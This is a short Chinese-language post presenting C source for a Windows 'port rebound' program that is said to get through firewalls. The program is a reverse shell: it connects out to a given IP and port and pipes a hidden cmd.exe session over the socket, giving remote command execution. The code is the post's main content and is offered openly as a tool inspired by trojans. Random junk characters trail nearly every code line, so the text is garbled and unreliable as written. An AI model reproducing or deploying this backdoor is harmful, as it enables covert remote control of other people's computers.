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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nd3=\.(P  
rlT[tOVAY  
/* ==============================  _CY>45  
Rebound port in Windows NT >J_{mU  
By wind,2006/7 O#  .^}  
===============================*/ '%_1eaH  
#include Q/m))!ikMt  
#include J]UlCg  
%_0,z`f  
#pragma comment(lib,"wsock32.lib") k_/hgO  
v_)a=I%o&2  
void OutputShell(); IMIZ#/  
SOCKET sClient; +-&N<U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F's($n  
?Z0T9e<  
void main(int argc,char **argv) h#'(i<5v  
{ L+LxS|S+M  
WSADATA stWsaData; ,Xs%Cg_Ig  
int nRet; vo )pT  
SOCKADDR_IN stSaiClient,stSaiServer; 4!p ~Mr[E  
)^7Y^u e  
if(argc != 3) sDT(3{)L7  
{ 0,)B~|+  
printf("Useage:\n\rRebound DestIP DestPort\n"); 79U Th@r}  
return; GenkYtS  
} vpcHJ^19  
wUWSW<  
WSAStartup(MAKEWORD(2,2),&stWsaData); u 'DM?mV:-  
d af$`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -ZFeE[Z  
("0@_05OH  
stSaiClient.sin_family = AF_INET; dya]^L}fL  
stSaiClient.sin_port = htons(0); T=35?   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }ddwL  
xoF]r$sC8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [SgWUP*  
{ #qXE[%  
printf("Bind Socket Failed!\n"); 4r ;!b;3  
return; DE|r~TQ  
} aDFu!PLB{)  
@P#uH5U  
stSaiServer.sin_family = AF_INET; %ANo^~8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .yE!,^j.gB  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O( G|fs  
V#.;OtF]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) + 5H9mk  
{ u +q}9  
printf("Connect Error!"); 8:;_MBt  
return; ?jbE3fW  
} *( YtO  
OutputShell(); +N5#EpW  
} 2ME"=! &5  
0JQy-hpF  
void OutputShell() 6NH.!}"G9  
{ EbSH)aR  
char szBuff[1024]; x^Tjs<#  
SECURITY_ATTRIBUTES stSecurityAttributes; @GqPU,RO  
OSVERSIONINFO stOsversionInfo; WLW'.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s|Ls  
STARTUPINFO stStartupInfo; @iK=1\-2  
char *szShell; lA {  
PROCESS_INFORMATION stProcessInformation; _/bFt6  
unsigned long lBytesRead; ]2(vO0~  
_ vVw2HH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QLH&WF  
:'?%%P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qb(#{Sw0  
stSecurityAttributes.lpSecurityDescriptor = 0; @'L/]  
stSecurityAttributes.bInheritHandle = TRUE; vK6YU9W~J  
t1?e$s  
r7Bv?M^!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vzK*1R5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |7]7~ 6l  
Ou</{l/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `fh^[Q|4n0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -QjdL9\[c7  
stStartupInfo.wShowWindow = SW_HIDE; J_YbeZ]  
stStartupInfo.hStdInput = hReadPipe; pA)!40kz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {k] 2h4 &h  
Yh_H $uW  
GetVersionEx(&stOsversionInfo); GdG1e%y]z  
$fhrGe  
switch(stOsversionInfo.dwPlatformId) (RG\U[  
{ 95B w;U3E  
case 1: kK&tB  
szShell = "command.com"; q9.)p  
break; E*ybf'  
default: vpXC5|9U  
szShell = "cmd.exe"; >JwdVy^  
break; F{)YdqQ  
} +qq,;npi  
`bu3S }m7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Af1izS3  
Cnd70tbD )  
send(sClient,szMsg,77,0); J"QXu M  
while(1) _H}y7  
{ L0uvRge  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xEQ2iCeC  
if(lBytesRead) 'ah|cMRn  
{ H .)}|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EQ`;=I3J9y  
send(sClient,szBuff,lBytesRead,0); HmKvu"3  
} Yao>F--?  
else '<~rV  
{ (UDF^  
lBytesRead=recv(sClient,szBuff,1024,0); QEL^0c8~  
if(lBytesRead<=0) break; )V~Fl$A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -/|O*oZ  
} I7TdBe-  
} 2Fi>nJ  
"Pi\I9M3  
return; bcL>S$B  
}
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